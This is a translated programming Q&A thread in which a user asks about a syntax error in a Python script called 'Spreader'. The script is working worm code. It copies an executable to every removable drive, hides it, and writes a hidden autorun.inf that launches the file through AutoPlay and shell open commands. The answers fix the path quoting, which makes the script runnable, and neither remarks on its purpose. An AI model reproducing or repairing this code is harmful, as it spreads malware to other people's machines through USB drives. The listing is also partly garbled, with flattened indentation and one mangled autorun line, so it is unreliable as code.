2015-04-14 6 views
0

хотел знать, почему это синтаксическая ошибка при компиляции этого скрипта, если я объявляю путь?Ошибка синтаксиса при объявлении пути

Я уже немного об этом поинтересовался и не смог найти ничего связанного с этим, может кто-нибудь объяснить мне, как добавить путь?

if __name__ == "__main__": # This isn't part of the actual code 
     spread = Spreader (C:\Users\Test\bin.exe) # C: the ':' is the syntax error 


import win32api 
import win32con 
import win32file 
import sys 
import os 

class Spreader(object): 
def __init__(self, path): # path must be absolute 
    print (" [*] Checking information") 

    self.filename = path.split("\\")[-1] 
    self.driveFilename = self.filename 

    if not self.driveFilename.startswith("~"): 
    self.driveFilename = "~" + self.driveFilename 

    print ("\t- Local filename: ") + self.filename 
    print ("\t- Driver filename: ") + self.driveFilename 

    self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename 

    print ("\t- Full path: ") + self.path 

    print ("\n [*] Getting removable drives") 
    self.drives = self.__getRemovableDrives() 

    if len(self.drives) == None: 
    print (" [-] No removable drives available") 
    sys.exit() 

    for drive in self.drives: 
    print ("\t- ") + drive 

    print ("\n [*] Spreading") 
    self.__spread() 

    print ("\n [+] Successfully spread") 

def __getRemovableDrives(self): 
    removableDrives = [] 
    drives = win32api.GetLogicalDriveStrings().split("\000")[:-1] 

    for drive in drives: 
    driveType = win32file.GetDriveType(drive) 

    if driveType == win32file.DRIVE_REMOVABLE: 
     removableDrives.append(drive) 

    return removableDrives 

def __spread(self): 
    for drive in self.drives: 

    if drive == "A:\\": 
     continue 

    else: 

     driveFile = drive + self.driveFilename 
     driveAutorun = drive + "autorun.inf" 

     print (" [+] ") + drive 

     if not os.path.exists(driveFile): 
      self.__copyFile(driveFile) 

     if not os.path.exists(driveAutorun): 
      self.__createAutorun(driveAutorun) 

def __copyFile(self, driveFile): 
    print ("\t- Copying file: ") + self.driveFilename, 
    win32file.CopyFile(self.path, driveFile, 0) 
    print ("\t\t\tDONE") 

    print ("\t- Hidding file"), 
    win32api.SetFileAttributes(driveFile,\ 
     win32con.FILE_ATTRIBUTE_HIDDEN) 
    print ("\t\t\tDONE") 

def __createAutorun(self, driveAutorun): 
    print ("\t- Creating autorun.inf"), 
    autorun = open(driveAutorun, "w") 
    content = """[Autorun] 
open={0} 
icon={0} 
label=Python Spreader 
UseAutoPlay=1 
action=Start my App 
[email protected]{0} 
shell\open=Open 
shell\open\Command={0} 
shell\explore=explore 
shell\explore\command={0}""".format(self.driveFilename) 
    autorun.write(content) 
    autorun.close() 
    print ("\t\t\tDONE") 

    print ("\t- Hidding autorun"), 
    win32api.SetFileAttributes(driveAutorun,\ 
     win32con.FILE_ATTRIBUTE_HIDDEN) 
    print ("\t\t\tDONE") 

    if __name__ == "__main__": 
     spread = Spreader (C:\Users\Test\bin.exe) 
+0

Вы не передаете свой путь как строку. – enricog

ответ

1

Эта ошибка синтаксиса:

spread = Spreader (C:\Users\Test\bin.exe) 

потому, что вы не процитировать свой путь. Кроме того, у вас есть обратные косые черты в вашем пути (вы знаете, Windows, также excepts/в качестве разделителя каталогов?), Так что используйте сырую строку:

spread = Spreader(r"C:\Users\Test\bin.exe") 

Как @domoarrigato упоминалось, вы заметите, что я удалил пробел между вызовом функции Spreader и круглыми скобками. Это должно соответствовать руководству по стилю Python PEP008 и не имеет никакого значения для вашей синтаксической ошибки.

+0

у него также есть дополнительное пространство – domoarrigato

+0

лет сэр, большое спасибо за вашу помощь – Rodrigo

3

Вы должны заключить путь в кавычки, чтобы сделать его строку:

spread = Spreader('C:/Users/Test/bin.exe') 
+0

Также вы изменили \ to be /, чтобы избежать проблем [escape-последовательности] (https://docs.python.org/2/reference/lexical_analysis.html#string-literals), особенно \ t и \ b. –